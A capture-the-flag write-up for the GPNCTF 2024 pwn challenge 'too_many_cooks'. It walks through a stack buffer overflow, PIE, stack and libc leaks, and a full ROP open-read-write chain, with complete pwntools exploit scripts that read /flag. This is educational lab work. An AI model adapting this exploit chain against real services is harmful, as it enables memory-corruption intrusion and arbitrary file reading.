GPNCTF 2024 Pwn Writeups
Table of Contents
This weekend our team L3ak played GPNCTF 2024 we placed 4 (by 3 points )
Pwn Challenge too_many_cooks [Hard]⌗
The main function calls the dinner function which does all the work/
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [rsp+Ch] [rbp-14h]
int v6; // [rsp+10h] [rbp-10h]
int v7; // [rsp+14h] [rbp-Ch]
v3 = time(0LL);
srand(v3);
setbuf(_bss_start, 0LL);
v5 = fcntl(0, 1);
fcntl(0, 2, v5 | 1u);
v6 = fcntl(1, 1);
fcntl(1, 2, v6 | 1u);
v7 = fcntl(2, 1);
fcntl(2, 2, v7 | 1u);
dinner();
return 0;
}
dinner()
__int64 dinner()
{
__int64 result; // rax
int v1; // [rsp+0h] [rbp-40h]
int v2; // [rsp+4h] [rbp-3Ch]
char s1[6]; // [rsp+Ah] [rbp-36h] BYREF
char v4[14]; // [rsp+10h] [rbp-30h] BYREF
char v5[8]; // [rsp+1Eh] [rbp-22h] BYREF
char v6[26]; // [rsp+26h] [rbp-1Ah] BYREF
strcpy(s1, "pizza");
strcpy(v5, "gulasch");
strcpy(v4, "burger");
strcpy(v6, "leek_soup");
strcpy(&v4[7], "desert");
printf(
"Welcome to our dining hall! Please select a dish:\n"
"-[%s] A nice and fresh pizza\n"
"-[%s] It's GPN, it's night and I'm programming. The only thing missing is a hot plate of gulasch!\n"
"-[%s] Borgir!\n"
"-[%s] A deliciously hearty leek soup. Yum!\n"
"-[%s] Give me my dessert! \\o/\n"
"Enter the string in the brackets for your selection: ",
s1,
v5,
v4,
v6,
&v4[7]);
fgets(&v6[10], 4096, stdin);
v2 = strlen(&v6[10]);
if ( v6[v2 + 9] == 10 )
v6[v2 + 9] = 0;
v1 = 0;
if ( !strcmp(s1, &v6[10]) )
{
result = serve_pizza();
}
else if ( !strcmp(v5, &v6[10]) )
{
result = serve_gulasch();
}
else if ( !strcmp(v4, &v6[10]) )
{
result = serve_burger();
}
else if ( !strcmp(v6, &v6[10]) )
{
result = serve_leek();
}
else
{
if ( !strcmp(&v4[7], &v6[10]) )
{
puts("You don't want to starve, don't you? Well now you will!");
exit(1);
}
result = desert();
v1 = 1;
}
if ( !v1 )
return desert();
return result;
}
The serve_pizza() , serve_gulasch() and serve_burger() functions just print ascii art. The function serve_leek is more interesting
serve_leek()
unsigned __int64 serve_leek()
{
int i; // [rsp+0h] [rbp-90h]
int v2; // [rsp+4h] [rbp-8Ch]
__int64 v3; // [rsp+8h] [rbp-88h]
__int128 v4; // [rsp+20h] [rbp-70h]
__int128 v5; // [rsp+30h] [rbp-60h]
__int128 v6; // [rsp+40h] [rbp-50h]
__int128 v7; // [rsp+50h] [rbp-40h]
__int128 v8; // [rsp+60h] [rbp-30h]
unsigned __int64 v9; // [rsp+78h] [rbp-18h]
v9 = __readfsqword(0x28u);
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
for ( i = 0; i <= 9; ++i )
{
v3 = rand();
*((_QWORD *)&v4 + i) = (rand() * v3) & 0xFFFFFFFFFFFFLL;
}
v2 = rand() % 10;
*((_QWORD *)&v4 + v2) = serve_leek;
printf(aWaitThatDoesnT, (unsigned int)v2, v4, v5, v6, v7, v8);
return v9 - __readfsqword(0x28u);
}
the serve_leek
function basically allows us to leak the PIE base of the binary. But its interesting how its presented to us.
So the first argument to printf is the offset of our PIE leak we can use that offset to get our leak …. during the ctf i didnt notice that…..LOL… i thought the leak was just at a random offset between random values so my big brain decided to run serve_leek twice and compare the two output and find a common numbers which will hopefully be the leak….
Vulnerabilities⌗
There is a bufferoverflow in the fgets call where we try to read 0x1000 bytes into a buffer of 26 bytes ….
__int64 dinner()
{
__int64 result; // rax
int v1; // [rsp+0h] [rbp-40h]
int v2; // [rsp+4h] [rbp-3Ch]
char s1[6]; // [rsp+Ah] [rbp-36h] BYREF
char v4[14]; // [rsp+10h] [rbp-30h] BYREF
char v5[8]; // [rsp+1Eh] [rbp-22h] BYREF
char v6[26]; // [rsp+26h] [rbp-1Ah] BYREF
.
.
fgets(&v6[10], 4096, stdin);
}
Intended Solution⌗
The intended solution was to use the functions below to execute and 2 byte instruction…to get a libc leak and read the flag from “/flag”.
serve()
unsigned __int64 serve()
{
_BYTE *addr; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+18h] [rbp-18h]
v2 = __readfsqword(0x28u);
addr = mmap(0LL, 3uLL, 2, 34, 0, 0LL);
if ( !dish_index )
exit(1);
*addr = kitchen[(unsigned __int8)dish_index - 1];
addr[1] = kitchen[(unsigned __int8)dish_index];
addr[2] = '\xC3'; // ret instruction
mprotect(addr, 3uLL, 4);
((void (__fastcall *)(_QWORD, _QWORD, _QWORD))addr)(
*(_QWORD *)&kitchen[8],
*(_QWORD *)&kitchen[16],
*(_QWORD *)&kitchen[24]);
munmap(addr, 3uLL);
return v2 - __readfsqword(0x28u);
}
We can use heat()
and cool()
to increment or decremenet the value of kitchen variable… and use salt()
and pepper()
function to change other to change dish_index
My Solution⌗
I decided to take a different approach instead of using the serve()
function i just ropped my way across the binary to first get a stack leak then use that stack leak to get a libc leak and then open("/flag")
and read the value into .bss and call puts !
Getting PIE Leak⌗
from pwn import *
import re
context.log_level="debug"
def find_common_substrings_of_length(buffer1, buffer2, target_length):
str1 = buffer1.decode('utf-8', errors='ignore')
str2 = buffer2.decode('utf-8', errors='ignore')
table = [[0] * (len(str2) + 1) for _ in range(len(str1) + 1)]
common_substrings = set()
for i in range(1, len(str1) + 1):
for j in range(1, len(str2) + 1):
if str1[i - 1] == str2[j - 1]:
table[i][j] = table[i - 1][j - 1] + 1
if table[i][j] == target_length:
common_substr = str1[i - table[i][j]:i]
common_substrings.add(common_substr)
common_substrings_bytes = {s.encode('utf-8') for s in common_substrings}
return common_substrings_bytes
# find_common_substrings_of_length() does exactly what it says it finds common substrings of a specified length from 2 buffers.
def clean_byte_string(input_bytes):
input_string = input_bytes.decode('utf-8', errors='ignore')
pattern = r'[%\n\s#\-\*\+]'
cleaned_string = re.sub(pattern, '', input_string)
cleaned_bytes = cleaned_string.encode('utf-8')
return cleaned_bytes
# clean_byte_string() is used to remove all the useless characters from the leak
p=process(b"./too_many_cooks_patched")
elf = ELF(b"./too_many_cooks")
libc=ELF(b"./libc.so.6")
p.sendlineafter(b"your selection: ",b"leek_soup")
pause()
p.recvuntil(b"%%%%%%%%%%% %::::::::%%1%%%%%%")
buff1 = p.recvuntil(b"%%%%%%%%%%%%%%%%%%%%%%%%%%%") # get leak - 1st time
p.sendlineafter(b"your selection: ",b"main")
p.sendlineafter(b"your selection: ",b"leek_soup")
p.recvuntil(b"%%%%%%%%%%% %::::::::%%1%%%%%%")
buff2 = p.recvuntil(b"%%%%%%%%%%%%%%%%%%%%%%%%%%%") # get leak - 2nd time
print(clean_byte_string(buff1)) # remove unneccesary characters
print(clean_byte_string(buff2))
buff1 = clean_byte_string(buff1)
buff2 = clean_byte_string(buff2)
ret = find_common_substrings_of_length(buff1,buff2,15)
# there are multiple common substrings in the 2 buffers but we know our leak always ends with 0x7e so we check for that
for i in ret:
if(int(i)& 0xff==0x7e):
print(i)
leak=int(i)
print(hex(leak))
TLDR : we call the serve_leek
function twice and compare the outputs and match the common values . The value which has lowest byte 0x7e is our leak
Getting Stack Leak⌗
We Just call printf()
by using the buffer overflow and return to Main
We See that $rdi has a Stack Address
Getting Libc Leak⌗
This is kinda where things get interesting there were no apparent ways to leak LIBC by looking at the disassembly …. but looking at the assembly things change….
looking at the part where menu is printed in the dinner()
function
pwndbg> x/20i 0x00005a4800e8fbed
0x5a4800e8fbed: lea rdi,[rbp-0x29]
0x5a4800e8fbf1: lea rsi,[rbp-0x1a]
0x5a4800e8fbf5: lea rcx,[rbp-0x30]
0x5a4800e8fbf9: lea rdx,[rbp-0x22]
0x5a4800e8fbfd: lea rax,[rbp-0x36]
0x5a4800e8fc01: mov r9,rdi
0x5a4800e8fc04: mov r8,rsi
0x5a4800e8fc07: mov rsi,rax
0x5a4800e8fc0a: lea rax,[rip+0x863f] # 0x5a4800e98250
0x5a4800e8fc11: mov rdi,rax
0x5a4800e8fc14: mov eax,0x0
0x5a4800e8fc19: call 0x5a4800e8f190 <printf@plt>
0x5a4800e8fc1e: mov rdx,QWORD PTR [rip+0xa40b] # 0x5a4800e9a030
0x5a4800e8fc25: lea rax,[rbp-0x10]
0x5a4800e8fc29: mov esi,0x1000
0x5a4800e8fc2e: mov rdi,rax
0x5a4800e8fc31: call 0x5a4800e8f1b0 <fgets@plt>
0x5a4800e8fc36: lea rax,[rbp-0x10]
0x5a4800e8fc3a: mov rdi,rax
0x5a4800e8fc3d: call 0x5a4800e8f150 <strlen@plt>
pwndbg>
also this is the first argument of printf()
printf(
"Welcome to our dining hall! Please select a dish:\n"
"-[%s] A nice and fresh pizza\n"
"-[%s] It's GPN, it's night and I'm programming. The only thing missing is a hot plate of gulasch!\n"
"-[%s] Borgir!\n"
"-[%s] A deliciously hearty leek soup. Yum!\n"
"-[%s] Give me my dessert! \\o/\n"
"Enter the string in the brackets for your selection: ",
s1,
v5,
v4,
v6,
&v4[7]);
we see that arguments to printf()
are taken based of the $rbp which we can control ( we overwrite rbp during the bufferoverflow )
so all we need to do to get a libc leak is point rbp-0x29 || rbp-0x1a … to a stack address which contains a libc pointer and jump to this particular part to get a libc leak !
read_addr=stack_leak-0x20-0x500+0x278 # addr on stack which contains a libc pointer
p1=b"aaaaaaaabaaaaaaacaaa"
p1+=p64(read_addr+8*6+1)
p1+=p64(base+0x000000000001BED) # call to lea rdi,[rbp-0x29]......
p1+=b"A"*20 # random AAAAAAAAAAAAAAAAAAAAAA
print(hex(read_addr))
p.sendlineafter(b"your selection: ",b"pizza")
p.sendlineafter(b"your selection: ",b"main\x00"+p1)
p.sendafter(b"your selection: ",b"cake\n") # trigger buffer overflow
p.recvuntil(b"Yum!")
p.recvuntil(b"[")
libc_leak = u64(p.recv(6).ljust(8,b"\0")) # recv libc leak
print(hex(libc_leak))
libc_base=libc_leak - 0x1bdc0
print(hex(base))
Final Stage⌗
Finally we create a ORW Payload (Open Read Write) to read contents of /flag
into the .bss and write it to stdout.
Final Exploit⌗
from pwn import *
import re
context.log_level="debug"
def find_common_substrings_of_length(buffer1, buffer2, target_length):
str1 = buffer1.decode('utf-8', errors='ignore')
str2 = buffer2.decode('utf-8', errors='ignore')
table = [[0] * (len(str2) + 1) for _ in range(len(str1) + 1)]
common_substrings = set()
for i in range(1, len(str1) + 1):
for j in range(1, len(str2) + 1):
if str1[i - 1] == str2[j - 1]:
table[i][j] = table[i - 1][j - 1] + 1
if table[i][j] == target_length:
common_substr = str1[i - table[i][j]:i]
common_substrings.add(common_substr)
common_substrings_bytes = {s.encode('utf-8') for s in common_substrings}
return common_substrings_bytes
def clean_byte_string(input_bytes):
input_string = input_bytes.decode('utf-8', errors='ignore')
pattern = r'[%\n\s#\-\*\+]'
cleaned_string = re.sub(pattern, '', input_string)
cleaned_bytes = cleaned_string.encode('utf-8')
return cleaned_bytes
p=process(b"./too_many_cooks_patched")
elf = ELF(b"./too_many_cooks")
libc=ELF(b"./libc.so.6")
p.sendlineafter(b"your selection: ",b"leek_soup")
pause()
p.recvuntil(b"%%%%%%%%%%% %::::::::%%1%%%%%%")
buff1 = p.recvuntil(b"%%%%%%%%%%%%%%%%%%%%%%%%%%%")
p.sendlineafter(b"your selection: ",b"main")
p.sendlineafter(b"your selection: ",b"leek_soup")
p.recvuntil(b"%%%%%%%%%%% %::::::::%%1%%%%%%")
buff2 = p.recvuntil(b"%%%%%%%%%%%%%%%%%%%%%%%%%%%")
print(clean_byte_string(buff1))
print(clean_byte_string(buff2))
buff1 = clean_byte_string(buff1)
buff2 = clean_byte_string(buff2)
ret = find_common_substrings_of_length(buff1,buff2,15)
for i in ret:
if(int(i)& 0xff==0x7e):
print(i)
leak=int(i)
print(hex(leak))
base = leak - 0x177e
p.sendlineafter(b"your selection: ",b"main")
p1=b"aaaaaaaabaaaaaaacaaaaaaadaaa"
p1+=p64(base+0x000000000000101a)
p1+=p64(base+elf.symbols['printf'])
p1+=p64(base+elf.symbols['main'])
p.sendlineafter(b"your selection: ",b"pizza")
p.sendlineafter(b"your selection: ",b"main\x00"+p1)
p.sendlineafter(b"your selection: ",b"cake")
a=p.recvuntil(b"\x7f")
stack_leak = u64((a[-6:-1]+b"\x7f").ljust(8,b'\0'))
print(hex(stack_leak))
read_addr=stack_leak-0x20-0x500+0x278
p1=b"aaaaaaaabaaaaaaacaaa"
p1+=p64(read_addr+8*6+1)
p1+=p64(base+0x000000000001BED)
p1+=b"A"*20
print(hex(read_addr))
p.sendlineafter(b"your selection: ",b"pizza")
p.sendlineafter(b"your selection: ",b"main\x00"+p1)
p.sendafter(b"your selection: ",b"cake\n")
p.recvuntil(b"Yum!")
p.recvuntil(b"[")
libc_leak = u64(p.recv(6).ljust(8,b"\0"))
print(hex(libc_leak))
libc_base=libc_leak-0x1bdc0
print(hex(libc_base))
pop_rdi = libc_base+0x000000000010f75b
pop_rsi = libc_base+0x000000000002b46b
pop_rdx_4=libc_base+0x00000000000b502c
p1=b"A"*929
p1+=p64(pop_rdx_4) # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
p1+=p64(base+0xc020+100)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(libc_base+0x00000000000dd237) # pop rax ; ret
p1+=b"//flag\x00\x00"
p1+=p64(libc_base+0x000000000003ba60) # mov qword ptr [rdx], rax ; ret
p1+=p64(pop_rdi) # pop rdi ; ret
p1+=p64(base+0xc085)
p1+=p64(pop_rsi) # pop rsi + pop rbp ; ret
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(libc_base+libc.symbols['open'])
p1+=p64(pop_rdi)
p1+=p64(0x3) # fd of the file opened
p1+=p64(pop_rsi) # pop rsi + pop rbp ; ret
p1+=p64(base+0xc020+120) # .bss
p1+=p64(0x0)
p1+=p64(pop_rdx_4) # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
p1+=p64(0x1000)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(0x0)
p1+=p64(libc_base+libc.symbols['read']) # read(3,.bss,0x1000)
p1+=p64(pop_rdi) # pop rdi ; ret
p1+=p64(base+0xc020+120) # .bss with flag
p1+=p64(libc_base+libc.symbols['puts']) #
print(hex(pop_rdx_4))
p.sendlineafter(b"your selection: ",b"apple\x00"+p1)
p.interactive()
# GPNCTF{4aahhh_th3_l33k_t4st3_0f_v1ct0ry!}
We Win !!!